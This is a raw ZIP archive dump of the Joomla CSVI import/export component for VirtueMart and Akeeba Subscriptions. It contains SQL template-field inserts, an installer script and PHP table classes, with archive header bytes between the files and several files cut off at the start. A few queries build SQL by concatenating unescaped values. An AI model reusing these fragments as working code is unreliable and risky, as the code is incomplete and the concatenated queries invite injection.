('virtuemart_state_id', 'virtuemart_state_id', 'orderimport', 'com_virtuemart'), ('country_name', 'country_name', 'orderimport', 'com_virtuemart'), ('country_2_code', 'country_2_code', 'orderimport', 'com_virtuemart'), ('country_3_code', 'country_3_code', 'orderimport', 'com_virtuemart'), ('virtuemart_country_id', 'virtuemart_country_id', 'orderimport', 'com_virtuemart'), ('shipment_element', 'shipment_element', 'orderimport', 'com_virtuemart'), ('order_status_name', 'order_status_name', 'orderimport', 'com_virtuemart'), /* VirtueMart order item import */ ('skip', 'skip', 'orderitemimport', 'com_virtuemart'), ('combine', 'combine', 'orderitemimport', 'com_virtuemart'), ('product_sku', 'product_sku', 'orderitemimport', 'com_virtuemart'), ('order_status_name', 'order_status_name', 'orderitemimport', 'com_virtuemart'), /* VirtueMart shopperfield import */ ('skip', 'skip', 'shopperfieldimport', 'com_virtuemart'), ('combine', 'combine', 'shopperfieldimport', 'com_virtuemart'), ('shopperfield_delete', 'shopperfield_delete', 'shopperfieldimport', 'com_virtuemart'), /* VirtueMart Userinfo import */ ('skip', 'skip', 'userinfoimport', 'com_virtuemart'), ('combine', 'combine', 'userinfoimport', 'com_virtuemart'), ('vendor_name', 'vendor_name', 'userinfoimport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'userinfoimport', 'com_virtuemart'), ('address_type', 'address_type', 'userinfoimport', 'com_virtuemart'), ('address_type_name', 'address_type_name', 'userinfoimport', 'com_virtuemart'), ('usergroup_name', 'usergroup_name', 'userinfoimport', 'com_virtuemart'), /* VirtueMart waiting users import */ ('skip', 'skip', 'waitinglistimport', 'com_virtuemart'), ('combine', 'combine', 'waitinglistimport', 'com_virtuemart'), ('product_sku', 'product_sku', 'waitinglistimport', 'com_virtuemart'), ('username', 'username', 'waitinglistimport', 'com_virtuemart'), /* VirtueMart custom field import */ ('skip', 'skip', 'customfieldimport', 'com_virtuemart'), ('combine', 'combine', 'customfieldimport', 'com_virtuemart'), ('plugin_name', 'plugin_name', 'customfieldimport', 'com_virtuemart'), ('vendor_name', 'vendor_name', 'customfieldimport', 'com_virtuemart'), /* VirtueMart calculation rule import */ ('skip', 'skip', 'calcimport', 'com_virtuemart'), ('combine', 'combine', 'calcimport', 'com_virtuemart'), ('currency_code_3', 'currency_code_3', 'calcimport', 'com_virtuemart'), ('category_path', 'category_path', 'calcimport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'calcimport', 'com_virtuemart'), ('country_name', 'country_name', 'calcimport', 'com_virtuemart'), ('country_2_code', 'country_2_code', 'calcimport', 'com_virtuemart'), ('country_3_code', 'country_3_code', 'calcimport', 'com_virtuemart'), ('state_name', 'state_name', 'calcimport', 'com_virtuemart'), ('state_2_code', 'state_2_code', 'calcimport', 'com_virtuemart'), ('state_3_code', 'state_3_code', 'calcimport', 'com_virtuemart'), /* VirtueMart category export */ ('category_path', 'category_path', 'categoryexport', 'com_virtuemart'), ('category_name', 'category_name', 'categoryexport', 'com_virtuemart'), ('category_description', 'category_description', 'categoryexport', 'com_virtuemart'), ('metadesc', 'metadesc', 'categoryexport', 'com_virtuemart'), ('metakey', 'metakey', 'categoryexport', 'com_virtuemart'), ('customtitle', 'customtitle', 'categoryexport', 'com_virtuemart'), ('slug', 'slug', 'categoryexport', 'com_virtuemart'), ('file_url', 'file_url', 'categoryexport', 'com_virtuemart'), ('file_url_thumb', 'file_url_thumb', 'categoryexport', 'com_virtuemart'), /* VirtueMart calculation rule export */ ('currency_code_3', 'currency_code_3', 'calcexport', 'com_virtuemart'), ('category_path', 'category_path', 'calcexport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'calcexport', 'com_virtuemart'), ('country_name', 'country_name', 'calcexport', 'com_virtuemart'), ('country_2_code', 'country_2_code', 'calcexport', 'com_virtuemart'), ('country_3_code', 'country_3_code', 'calcexport', 'com_virtuemart'), ('state_name', 'state_name', 'calcexport', 'com_virtuemart'), ('state_2_code', 'state_2_code', 'calcexport', 'com_virtuemart'), ('state_3_code', 'state_3_code', 'calcexport', 'com_virtuemart'), /* VirtueMart Manufacturer export */ ('mf_name', 'mf_name', 'manufacturerexport', 'com_virtuemart'), ('mf_email', 'mf_email', 'manufacturerexport', 'com_virtuemart'), ('mf_desc', 'mf_desc', 'manufacturerexport', 'com_virtuemart'), ('mf_url', 'mf_url', 'manufacturerexport', 'com_virtuemart'), ('slug', 'slug', 'manufacturerexport', 'com_virtuemart'), ('mf_category_name', 'mf_category_name', 'manufacturerexport', 'com_virtuemart'), /* VirtueMart medias export */ ('product_sku', 'product_sku', 'mediaexport', 'com_virtuemart'), /* VirtueMart order export */ ('custom', 'custom', 'orderexport', 'com_virtuemart'), ('user_currency', 'user_currency', 'orderexport', 'com_virtuemart'), /* In the format EUR */ ('payment_element', 'payment_element', 'orderexport', 'com_virtuemart'), ('state_name', 'state_name', 'orderexport', 'com_virtuemart'), ('state_2_code', 'state_2_code', 'orderexport', 'com_virtuemart'), ('state_3_code', 'state_3_code', 'orderexport', 'com_virtuemart'), ('virtuemart_state_id', 'virtuemart_state_id', 'orderexport', 'com_virtuemart'), ('country_name', 'country_name', 'orderexport', 'com_virtuemart'), ('country_2_code', 'country_2_code', 'orderexport', 'com_virtuemart'), ('country_3_code', 'country_3_code', 'orderexport', 'com_virtuemart'), ('virtuemart_country_id', 'virtuemart_country_id', 'orderexport', 'com_virtuemart'), ('shipment_element', 'shipment_element', 'orderexport', 'com_virtuemart'), ('order_status_name', 'order_status_name', 'orderexport', 'com_virtuemart'), ('full_name', 'full_name', 'orderexport', 'com_virtuemart'), ('username', 'username', 'orderexport', 'com_virtuemart'), ('total_order_items', 'total_order_items', 'orderexport', 'com_virtuemart'), ('discount_percentage', 'discount_percentage', 'orderexport', 'com_virtuemart'), ('product_price_total', 'product_price_total', 'orderexport', 'com_virtuemart'), /* VirtueMart order item export */ ('full_name', 'fullname', 'orderitemexport', 'com_virtuemart'), ('product_sku', 'product_sku', 'orderitemexport', 'com_virtuemart'), ('order_status_name', 'order_status_name', 'orderitemexport', 'com_virtuemart'), /* VirtueMart Product export */ ('custom', 'custom', 'productexport', 'com_virtuemart'), ('product_price', 'product_price', 'productexport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'productexport', 'com_virtuemart'), ('shopper_group_name_price', 'shopper_group_name_price', 'productexport', 'com_virtuemart'), ('related_products', 'related_products', 'productexport', 'com_virtuemart'), ('category_id', 'category_id', 'productexport', 'com_virtuemart'), ('category_path', 'category_path', 'productexport', 'com_virtuemart'), ('product_box', 'product_box', 'productexport', 'com_virtuemart'), ('product_parent_sku', 'product_parent_sku', 'productexport', 'com_virtuemart'), ('product_name', 'product_name', 'productexport', 'com_virtuemart'), ('product_s_desc', 'product_s_desc', 'productexport', 'com_virtuemart'), ('product_desc', 'product_desc', 'productexport', 'com_virtuemart'), ('metadesc', 'metadesc', 'productexport', 'com_virtuemart'), ('metakey', 'metakey', 'productexport', 'com_virtuemart'), ('customtitle', 'customtitle', 'productexport', 'com_virtuemart'), ('slug', 'slug', 'productexport', 'com_virtuemart'), ('picture_url', 'picture_url', 'productexport', 'com_virtuemart'), ('override', 'override', 'productexport', 'com_virtuemart'), ('product_override_price', 'product_override_price', 'productexport', 'com_virtuemart'), ('product_currency', 'product_currency', 'productexport', 'com_virtuemart'), ('custom_shipping', 'custom_shipping', 'productexport', 'com_virtuemart'), ('basepricewithtax', 'basepricewithtax', 'productexport', 'com_virtuemart'), ('discountedpricewithouttax', 'discountedpricewithouttax', 'productexport', 'com_virtuemart'), ('pricebeforetax', 'pricebeforetax', 'productexport', 'com_virtuemart'), ('salesprice', 'salesprice', 'productexport', 'com_virtuemart'), ('taxamount', 'taxamount', 'productexport', 'com_virtuemart'), ('discountamount', 'discountamount', 'productexport', 'com_virtuemart'), ('pricewithouttax', 'pricewithouttax', 'productexport', 'com_virtuemart'), ('manufacturer_name', 'manufacturer_name', 'productexport', 'com_virtuemart'), ('custom_title', 'custom_title', 'productexport', 'com_virtuemart'), ('custom_value', 'custom_value', 'productexport', 'com_virtuemart'), ('custom_price', 'custom_price', 'productexport', 'com_virtuemart'), ('custom_param', 'custom_param', 'productexport', 'com_virtuemart'), ('file_url', 'file_url', 'productexport', 'com_virtuemart'), ('file_url_thumb', 'file_url_thumb', 'productexport', 'com_virtuemart'), ('min_order_level', 'min_order_level', 'productexport', 'com_virtuemart'), ('max_order_level', 'max_order_level', 'productexport', 'com_virtuemart'), /* VirtueMart Rating export */ ('custom', 'custom', 'ratingexport', 'com_virtuemart'), ('product_sku', 'product_sku', 'ratingexport', 'com_virtuemart'), ('vote', 'vote', 'ratingexport', 'com_virtuemart'), ('username', 'username', 'ratingexport', 'com_virtuemart'), /* VirtueMart Shopperfield export */ ('custom', 'custom', 'shopperfieldexport', 'com_virtuemart'), /* VirtueMart Userinfo export */ ('custom', 'custom', 'userinfoexport', 'com_virtuemart'), ('full_name', 'fullname', 'userinfoexport', 'com_virtuemart'), ('vendor_name', 'vendor_name', 'userinfoexport', 'com_virtuemart'), ('shopper_group_name', 'shopper_group_name', 'userinfoexport', 'com_virtuemart'), ('address_type', 'address_type', 'userinfoexport', 'com_virtuemart'), ('address_type_name', 'address_type_name', 'userinfoexport', 'com_virtuemart'), ('usergroup_name', 'usergroup_name', 'userinfoexport', 'com_virtuemart'), ('country_name', 'country_name', 'userinfoexport', 'com_virtuemart'), ('country_2_code', 'country_2_code', 'userinfoexport', 'com_virtuemart'), ('country_3_code', 'country_3_code', 'userinfoexport', 'com_virtuemart'), ('state_name', 'state_name', 'userinfoexport', 'com_virtuemart'), ('state_2_code', 'state_2_code', 'userinfoexport', 'com_virtuemart'), ('state_3_code', 'state_3_code', 'userinfoexport', 'com_virtuemart'), /* VirtueMart Waiting users export */ ('custom', 'custom', 'waitinglistexport', 'com_virtuemart'), ('product_sku', 'product_sku', 'waitinglistexport', 'com_virtuemart'), ('username', 'username', 'waitinglistexport', 'com_virtuemart'), /* VirtueMart Custom field export */ ('custom', 'custom', 'customfieldexport', 'com_virtuemart'), ('plugin_name', 'plugin_name', 'customfieldexport', 'com_virtuemart'), ('vendor_name', 'vendor_name', 'customfieldexport', 'com_virtuemart'), /* Akeeba Subscriptions subscription export */ ('custom', 'custom', 'subscriptionexport', 'com_akeebasubs'), ('name', 'name', 'subscriptionexport', 'com_akeebasubs'), ('username', 'username', 'subscriptionexport', 'com_akeebasubs'), ('email', 'email', 'subscriptionexport', 'com_akeebasubs'), ('password', 'password', 'subscriptionexport', 'com_akeebasubs'), /* Akeeba Subscriptions affiliate export */ ('custom', 'custom', 'affiliateexport', 'com_akeebasubs'), ('money_owed', 'money_owed', 'affiliateexport', 'com_akeebasubs'), ('money_paid', 'money_paid', 'affiliateexport', 'com_akeebasubs'), ('total_commission', 'total_commission', 'affiliateexport', 'com_akeebasubs'), /* Akeeba Subscriptions coupon export */ ('custom', 'custom', 'couponexport', 'com_akeebasubs'), ('name', 'name', 'couponexport', 'com_akeebasubs'), ('username', 'username', 'couponexport', 'com_akeebasubs'), ('email', 'email', 'couponexport', 'com_akeebasubs'), ('password', 'password', 'couponexport', 'com_akeebasubs'), /* Akeeba Subscriptions coupon import */ ('skip', 'skip', 'couponimport', 'com_akeebasubs'), ('username', 'username', 'couponimport', 'com_akeebasubs'), ('subscription_title', 'subscription_title', 'couponimport', 'com_akeebasubs'), /* Comma separated value */ /* Akeeba Subscriptions subscription import */ ('skip', 'skip', 'subscriptionimport', 'com_akeebasubs'), ('subscription_delete', 'subscription_delete', 'subscriptionimport', 'com_akeebasubs'), ('subscription_title', 'subscription_title', 'subscriptionimport', 'com_akeebasubs'), ('name', 'name', 'subscriptionimport', 'com_akeebasubs'), ('username', 'username', 'subscriptionimport', 'com_akeebasubs'), ('email', 'email', 'subscriptionimport', 'com_akeebasubs'), ('password', 'password', 'subscriptionimport', 'com_akeebasubs'), /* Akeeba Subscriptions affiliate import */ ('skip', 'skip', 'affiliateimport', 'com_akeebasubs'), ('affiliate_delete', 'affiliate_delete', 'affiliateimport', 'com_akeebasubs'), ('username', 'username', 'affiliateimport', 'com_akeebasubs'), ('amount', 'amount', 'affiliateimport', 'com_akeebasubs');PK@y>\.components/com_csvi/install/com_virtuemart.sqlnuW+ADELETE FROM `#__csvi_template_tables` WHERE `component` = 'com_virtuemart'; INSERT IGNORE INTO `#__csvi_template_tables` (`template_type_name`, `template_table`, `component`) VALUES ('calcexport', 'calcexport', 'com_virtuemart'), ('calcexport', 'virtuemart_calcs', 'com_virtuemart'), ('calcimport', 'calcimport', 'com_virtuemart'), ('calcimport', 'virtuemart_calcs', 'com_virtuemart'), ('categoryexport', 'categoryexport', 'com_virtuemart'), ('categoryexport', 'virtuemart_categories', 'com_virtuemart'), ('categoryimport', 'categoryimport', 'com_virtuemart'), ('categoryimport', 'virtuemart_categories', 'com_virtuemart'), ('couponexport', 'couponexport', 'com_virtuemart'), ('couponexport', 'virtuemart_coupons', 'com_virtuemart'), ('couponimport', 'couponimport', 'com_virtuemart'), ('couponimport', 'virtuemart_coupons', 'com_virtuemart'), ('customfieldimport', 'customfieldimport', 'com_virtuemart'), ('customfieldimport', 'virtuemart_customs', 'com_virtuemart'), ('customfieldexport', 'customfieldexport', 'com_virtuemart'), ('customfieldexport', 'virtuemart_customs', 'com_virtuemart'), ('manufacturercategoryimport', 'manufacturercategoryimport', 'com_virtuemart'), ('manufacturercategoryimport', 'virtuemart_manufacturercategories', 'com_virtuemart'), ('manufacturerexport', 'manufacturerexport', 'com_virtuemart'), ('manufacturerexport', 'virtuemart_manufacturers', 'com_virtuemart'), ('manufacturerimport', 'manufacturerimport', 'com_virtuemart'), ('manufacturerimport', 'virtuemart_manufacturers', 'com_virtuemart'), ('mediaexport', 'mediaexport', 'com_virtuemart'), ('mediaexport', 'virtuemart_medias', 'com_virtuemart'), ('mediaimport', 'mediaimport', 'com_virtuemart'), ('mediaimport', 'virtuemart_medias', 'com_virtuemart'), ('orderexport', 'orderexport', 'com_virtuemart'), ('orderexport', 'virtuemart_orders', 'com_virtuemart'), ('orderexport', 'virtuemart_order_userinfos', 'com_virtuemart'), ('orderimport', 'orderimport', 'com_virtuemart'), ('orderimport', 'virtuemart_orders', 'com_virtuemart'), ('orderimport', 'virtuemart_order_userinfos', 'com_virtuemart'), ('orderitemexport', 'orderitemexport', 'com_virtuemart'), ('orderitemexport', 'virtuemart_order_items', 'com_virtuemart'), ('orderitemimport', 'orderitemimport', 'com_virtuemart'), ('orderitemimport', 'virtuemart_order_items', 'com_virtuemart'), ('productexport', 'productexport', 'com_virtuemart'), ('productexport', 'virtuemart_products', 'com_virtuemart'), ('productimport', 'productimport', 'com_virtuemart'), ('productimport', 'virtuemart_products', 'com_virtuemart'), ('ratingexport', 'ratingexport', 'com_virtuemart'), ('ratingexport', 'virtuemart_rating_reviews', 'com_virtuemart'), ('ratingimport', 'ratingimport', 'com_virtuemart'), ('ratingimport', 'virtuemart_rating_reviews', 'com_virtuemart'), ('shopperfieldexport', 'shopperfieldexport', 'com_virtuemart'), ('shopperfieldexport', 'virtuemart_userfields', 'com_virtuemart'), ('shopperfieldimport', 'shopperfieldimport', 'com_virtuemart'), ('shopperfieldimport', 'virtuemart_userfields', 'com_virtuemart'), ('userinfoexport', 'userinfoexport', 'com_virtuemart'), ('userinfoexport', 'users', 'com_virtuemart'), ('userinfoexport', 'virtuemart_userinfos', 'com_virtuemart'), ('userinfoexport', 'virtuemart_vmusers', 'com_virtuemart'), ('userinfoimport', 'userinfoimport', 'com_virtuemart'), ('userinfoimport', 'users', 'com_virtuemart'), ('userinfoimport', 'virtuemart_userinfos', 'com_virtuemart'), ('userinfoimport', 'virtuemart_vmusers', 'com_virtuemart'), ('waitinglistexport', 'virtuemart_waitingusers', 'com_virtuemart'), ('waitinglistexport', 'waitinglistexport', 'com_virtuemart'), ('waitinglistimport', 'virtuemart_waitingusers', 'com_virtuemart'), ('waitinglistimport', 'waitinglistimport', 'com_virtuemart'); DELETE FROM `#__csvi_template_types` WHERE `component` = 'com_virtuemart'; INSERT IGNORE INTO `#__csvi_template_types` (`template_type_name`, `template_type`, `component`, `url`, `options`) VALUES ('categoryexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=category', 'file,fields,category,layout,email,limit'), ('categoryimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=category', 'category_file,fields,category,category_image,category_path,limit'), ('couponexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=coupon', 'file,fields,layout,email,limit'), ('couponimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=coupon', 'file,fields,limit'), ('manufacturercategoryimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=manufacturercategories', 'file,fields,manufacturer_category'), ('manufacturerexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=manufacturer', 'file,fields,manufacturer,layout,email,limit'), ('manufacturerimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=manufacturer', 'manufacturer_file,fields,manufacturer'), ('orderexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=orders', 'file,fields,order,layout,email,limit'), ('orderimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=orders', 'file,fields,limit'), ('orderitemexport', 'export', 'com_virtuemart', NULL, 'file,fields,orderitem,layout,email,limit'), ('orderitemimport', 'import', 'com_virtuemart', NULL, 'file,fields,order_item'), ('productexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=product', 'file,fields,product,layout,email,shipping,limit'), ('mediaexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=media', 'file,fields,layout,email,limit'), ('mediaimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=media', 'file,fields,media,media_image,media_path'), ('productimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=product', 'file,fields,product,image,product_path,limit'), ('ratingexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=ratings', 'file,fields,layout,email,limit'), ('ratingimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=ratings', 'file,fields'), ('customfieldimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=custom', 'file,fields,limit'), ('customfieldexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=custom', 'file,fields,layout,email,limit'), ('shopperfieldexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=userfields', 'file,fields,layout,email,limit'), ('shopperfieldimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=userfields', 'file,fields'), ('waitinglistexport', 'export', 'com_virtuemart', NULL, 'file,fields,layout,email,limit'), ('waitinglistimport', 'import', 'com_virtuemart', NULL, 'file,fields,limit'), ('userinfoexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=user', 'file,fields,userinfo,layout,email,limit'), ('userinfoimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=user', 'file,fields'), ('calcimport', 'import', 'com_virtuemart', 'index.php?option=com_virtuemart&view=calc', 'file,fields,calc,limit'), ('calcexport', 'export', 'com_virtuemart', 'index.php?option=com_virtuemart&view=calc', 'file,fields,calc,limit');PK@y>\c@components/com_csvi/config.xmlnuW+A

      PK@y>\zenqueueMessage(JText::sprintf('COM_CSVI_PHP_VERSION_ERROR', phpversion()), 'error'); return false; } // Check if the Joomla version is correct $version = new JVersion(); if (version_compare($version->getShortVersion(), '2.5', '<') == '-1') { $app = JFactory::getApplication(); $app->enqueueMessage(JText::sprintf('COM_CSVI_JOOMLA_VERSION_ERROR', $version->getShortVersion()), 'error'); return false; } // Check if there is an entry in the schemas table if ($type == 'update') { $db = JFactory::getDbo(); // Get the extension id first $query = $db->getQuery(true); $query->select('extension_id')->from('#__extensions')->where($db->qn('type').'='.$db->q('component'))->where($db->qn('element').'='.$db->q('com_csvi')); $db->setQuery($query); $eid = $db->loadResult(); if ($eid) { // Check if there is a version in the schemas table $query->clear(); $query->select('version_id') ->from('#__schemas') ->where('extension_id = ' . $eid); $db->setQuery($query); $version = $db->loadResult(); if (empty($version)) { // Get the current CSVI version $query->clear(); $query->select('params') ->from('#__csvi_settings') ->where('id = 2'); $db->setQuery($query); $version = $db->loadResult(); // Add the version number $query->clear(); $query->insert('#__schemas')->values($eid.','.$db->q($version)); $db->setQuery($query); $db->query(); } } } return true; } /** * method to run after an install/update/uninstall method * * @return void */ function postflight($type, $parent) { // Load the CSS ?> '; echo JHtml::_('link', JRoute::_('index.php?option=com_csvi&view=install'), JText::_('COM_CSVI_CONTINUE_SETUP')); echo ''; } }PK@y>\components/com_csvi/index.htmlnuW+APK@y>\v?/components/com_csvi/tables/csvi_log_details.phpnuW+A $value) { if (substr($name, 0, 1) != '_') $this->$name = $value; } } } ?>PK@y>\ ,EE2components/com_csvi/tables/csvi_template_types.phpnuW+APK@y>\̼m'components/com_csvi/tables/settings.phpnuW+APK@y>\%components/com_csvi/tables/index.htmlnuW+APK@y>\(O~~*components/com_csvi/tables/replacement.phpnuW+APK@y>\]q+components/com_csvi/tables/templatetype.phpnuW+APK@y>\5oo@components/com_csvi/tables/com_virtuemart/manufacturers_lang.phpnuW+Ainput; $template = $jinput->get('template', null, null); parent::__construct('#__virtuemart_manufacturers_'.$template->get('language', 'general'), 'virtuemart_manufacturer_id', $db ); } /** * Check if the manufacturer exists * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function check($create = true) { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); if (!empty($this->virtuemart_manufacturer_id)) { $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where($db->qn($this->_tbl_key).' = '.$db->q($this->virtuemart_manufacturer_id)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_EXISTS'), true); return false; } else { if ($create) { // Create a dummy entry for updating $query = "INSERT IGNORE INTO ".$this->_tbl." (".$db->qn($this->_tbl_key).") VALUES (".$db->q($this->virtuemart_manufacturer_id).")"; $db->setQuery($query); if ($db->query()) return true; else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS'), true); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS'), true); return false; } } } else { $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('mf_name = '.$db->q($this->mf_name)); $db->setQuery($query); $id = $db->loadResult(); if ($id > 0) { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_EXISTS'), true); $this->virtuemart_manufacturer_id = $id; $this->load(); return true; } else { if ($create) { // Find the highest ID $query = $db->getQuery(true); $query->select('MAX(virtuemart_manufacturer_id)'); $query->from($this->_tbl); $db->setQuery($query); $maxid = $db->loadResult(); $maxid++; // Create a dummy entry for updating $query = "INSERT IGNORE INTO ".$this->_tbl." (".$db->qn($this->_tbl_key).") VALUES (".$db->q($maxid).")"; $db->setQuery($query); if ($db->query()) { $this->virtuemart_manufacturer_id = $maxid; return true; } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS'), true); return false; } } else { $csvilog->addDebug(JText::_('COM_CSVI_DEBUG_MANUFACTURER_NOT_EXISTS'), true); return false; } } } } /** * Create a slug if needed and store the product * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function store() { if (empty($this->slug)) { // Create the slug $this->_validateSlug(); } return parent::store(); } /** * Validate a slug * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ private function _validateSlug() { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); // Create the slug $this->slug = Com_virtuemart::createSlug($this->mf_name); // Check if the slug exists $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select('COUNT('.$db->qn($this->_tbl_key).')'); $query->from($this->_tbl); $query->where($db->qn('slug').' = '.$db->q($this->slug)); $db->setQuery($query); $slugs = $db->loadResult(); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_MANUFACTURER_SLUG'), true); if ($slugs > 0) { $jdate = JFactory::getDate(); $this->slug .= $jdate->format("Y-m-d-h-i-s").mt_rand(); } } /** * Reset the table fields, need to do it ourselves as the fields default is not NULL * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\d"5components/com_csvi/tables/com_virtuemart/coupons.phpnuW+Avirtuemart_coupon_id)) return true; else { $jinput = JFactory::getApplication()->input; $csvilog = $jinput->get('csvilog', null, null); $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('coupon_code ='.$db->Quote($this->coupon_code)); $db->setQuery($query); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_COUPON_CODE_EXISTS'), true); $db->query(); if ($db->getAffectedRows() > 0) { $this->virtuemart_coupon_id = $db->loadResult(); } } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?> PK@y>\r7components/com_csvi/tables/com_virtuemart/userinfos.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\)3components/com_csvi/tables/com_virtuemart/.htaccessnuW+A Order allow,deny Deny from all PK@y>\.Gff3components/com_csvi/tables/com_virtuemart/users.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\ S4components/com_csvi/tables/com_virtuemart/orders.phpnuW+AgetFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\AXXBcomponents/com_csvi/tables/com_virtuemart/vmuser_shoppergroups.phpnuW+Avirtuemart_user_id) && !empty($this->virtuemart_shoppergroup_id)) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->select($this->_tbl_key); $query->from($this->_tbl); $query->where('virtuemart_user_id = '.$this->virtuemart_user_id); $query->where('virtuemart_shoppergroup_id = '.$this->virtuemart_shoppergroup_id); $db->setQuery($query); $this->id = $db->loadResult(); } } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\B++=components/com_csvi/tables/com_virtuemart/categories_xref.phpnuW+Acheck(); if($k) { $ret = $this->_db->updateObject( $this->_tbl, $this, $this->_tbl_key, false ); } else { $ret = $this->_db->insertObject( $this->_tbl, $this, $this->_tbl_key ); } if( !$ret ) { $this->setError(get_class( $this ).'::store failed - '.$this->_db->getErrorMsg()); return false; } else { return true; } } /** * Check if a relation already exists */ public function check() { $q = "SELECT COUNT(".$this->_tbl_key.") AS total FROM ".$this->_tbl." WHERE category_parent_id = ".$this->category_parent_id." AND category_child_id = ".$this->category_child_id; $this->_db->setQuery($q); $result = $this->_db->loadResult(); if ($result > 0) return true; else return false; } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\o Bcomponents/com_csvi/tables/com_virtuemart/product_customfields.phpnuW+AgetQuery(true); $query->select($db->qn($this->_tbl_key)); $query->from($db->qn($this->_tbl)); $query->where($db->qn('virtuemart_product_id').' = '.$db->q($this->virtuemart_product_id)); $query->where($db->qn('virtuemart_custom_id').' = '.$db->q($this->virtuemart_custom_id)); $query->where($db->qn('custom_value').' = '.$db->q($this->custom_value)); $db->setQuery($query); $id = $db->loadResult(); if ($id) { $this->virtuemart_customfield_id = $id; return true; } else return false; } /** * Delete all related products for given product ID * * @copyright * @author RolandD * @todo * @see * @access public * @param int $product_id the product to delete related products for * @param int $vendor_id the vendor ID to filter on * @param int $related_id the related ID to filter on * @return * @since 4.0 */ public function deleteRelated($product_id, $vendor_id, $related_id) { $db = JFactory::getDbo(); $query = $db->getQuery(true); $query->delete($this->_tbl); $query->where('virtuemart_product_id = '.$product_id); $query->where('virtuemart_custom_id = '.$related_id); $db->setQuery($query); return $db->query(); } /** * Reset the keys including primary key * * @copyright * @author RolandD * @todo * @see * @access public * @param * @return * @since 4.0 */ public function reset() { // Get the default values for the class from the table. foreach ($this->getFields() as $k => $v) { // If the property is not private, reset it. if (strpos($k, '_') !== 0) { $this->$k = NULL; } } } } ?>PK@y>\_#5components/com_csvi/tables/com_virtuemart/ratings.phpnuW+Avirtuemart_rating_id)) { $jinput = JFactory::getApplication()->input; $db = JFactory::getDBO(); $csvilog = $jinput->get('csvilog', null, null); // Check if a record already exists in the database $q = "SELECT ".$this->_tbl_key." FROM ".$this->_tbl." WHERE virtuemart_product_id = '".$this->virtuemart_product_id."' AND created_by = ".$this->created_by; $db->setQuery($q); $db->query($q); $csvilog->addDebug(JText::_('COM_CSVI_CHECK_RATING_EXISTS'), true); if ($db->getAffectedRows() > 0) { $this->virtuemart_rating_id = $db->loadResult(); return true; } else { // There is 